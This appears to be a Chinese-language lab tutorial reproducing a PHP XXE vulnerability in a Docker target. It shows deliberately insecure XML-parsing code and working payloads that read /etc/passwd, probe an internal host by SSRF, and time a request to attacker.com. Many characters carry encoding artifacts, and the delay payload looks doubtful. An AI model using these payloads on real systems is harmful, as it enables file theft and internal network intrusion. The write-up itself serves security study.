PHP-XXE漏洞復(fù)現(xiàn)
漏洞描述:
XXE(XML External Entity Injection,XML外部實(shí)體注入)??是一種針對(duì)XML解析器的安全漏洞,攻擊者通過構(gòu)造惡意XML文檔,利用XML解析器對(duì)外部實(shí)體的支持,并且實(shí)體的URL支持 file:// 和 ftp:// 等協(xié)議,實(shí)現(xiàn)敏感文件讀取、內(nèi)網(wǎng)探測(cè)、命令執(zhí)行等攻擊 。
其本質(zhì)是應(yīng)用程序在解析XML輸入時(shí)未禁用外部實(shí)體加載,導(dǎo)致攻擊者可注入惡意實(shí)體。
以 PHP 為例,在 PHP 里面解析 XML 使用到的函數(shù)是 libxml ,在其 libxml 小于 2.9.0 的版本中,允許解析 XML 外部實(shí)體內(nèi)容。libxml2.9.0以后,默認(rèn)不解析外部實(shí)體,導(dǎo)致XXE漏洞逐漸消亡。為了演示PHP環(huán)境下的XXE漏洞,本例會(huì)將libxml2.8.0版本編譯進(jìn)PHP中。PHP版本并不影響XXE利用。
漏洞復(fù)現(xiàn):
靶場(chǎng)通過docker啟動(dòng),環(huán)境啟動(dòng)后,訪問 http://your-ip:8080/index.php 可以看到 phpinfo 頁面。在頁面中搜索 "libxml" 可以驗(yàn)證其版本為 2.8.0。如下圖:

Web 根目錄包含的這三個(gè)文件(dom.php、SimpleXMLElement.php 和 simplexml_load_string.php)都存在 XXE 漏洞。每個(gè)文件演示了一種可被利用的 PHP XML 解析方法。
①dom.php使用 DOMDocument 解析 XML,代碼如下
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
②SimpleXMLElement.php使用 SimpleXMLElement 類解析 XML,代碼如下:
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);
echo $xml->name;
③ simplexml_load_string.php使用 simplexml_load_string 函數(shù)解析 XML,代碼如下:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
1、文件內(nèi)容讀取
訪問dom.php之后抓包,輸入下列payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <test> <name>&xxe;</name> </test>
即可訪問到文件/etc/passwd里的內(nèi)容。如下圖:

simplexml_load_string.php目錄下的如下圖

SimpleXMLElement.php也是一樣

2、SSRF(服務(wù)器端請(qǐng)求偽造)
payload: <!ENTITY xxe SYSTEM "http://internal.service.local" >
漏洞分析:

某些情況下,即便服務(wù)器可能存在XXE,也不會(huì)向攻擊者的瀏覽器或代理返回任何響應(yīng)。遇到這種情況,我們可以使用Blind XXE漏洞來構(gòu)建一條外帶數(shù)據(jù)(OOB)通道來讀取數(shù)據(jù)。雖然我們無法直接查看文件內(nèi)容,但我們?nèi)匀豢梢允褂靡资芄舻姆?wù)器作為代理,在外部網(wǎng)絡(luò)上執(zhí)行掃描以及代碼。
問題:如何去檢測(cè)或者判斷Blind XXE的存在?
1、帶外通信(OOB, Out-of-Band)??
原理??:強(qiáng)制服務(wù)器向攻擊者的vps發(fā)起請(qǐng)求,通過外聯(lián)日志確認(rèn)漏洞。
使用??Burp Suite 的 Collaborator 模塊搭建監(jiān)聽服務(wù),然后生成payload20條,去repeater模塊發(fā)包。如果會(huì)顯示交互結(jié)果,說明有Blind XXE漏洞
2、基于時(shí)間的延遲檢測(cè)??
原理??:通過觸發(fā)服務(wù)器延遲判斷條件是否成立。
payload: <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://attacker.com/slow-resource?delay=5">
若響應(yīng)時(shí)間顯著增加(如5秒以上),可能存在漏洞。
3、報(bào)錯(cuò)泄露
原理:構(gòu)造錯(cuò)誤路徑拼接敏感數(shù)據(jù),觀察報(bào)錯(cuò)信息。

浙公網(wǎng)安備 33010602011771號(hào)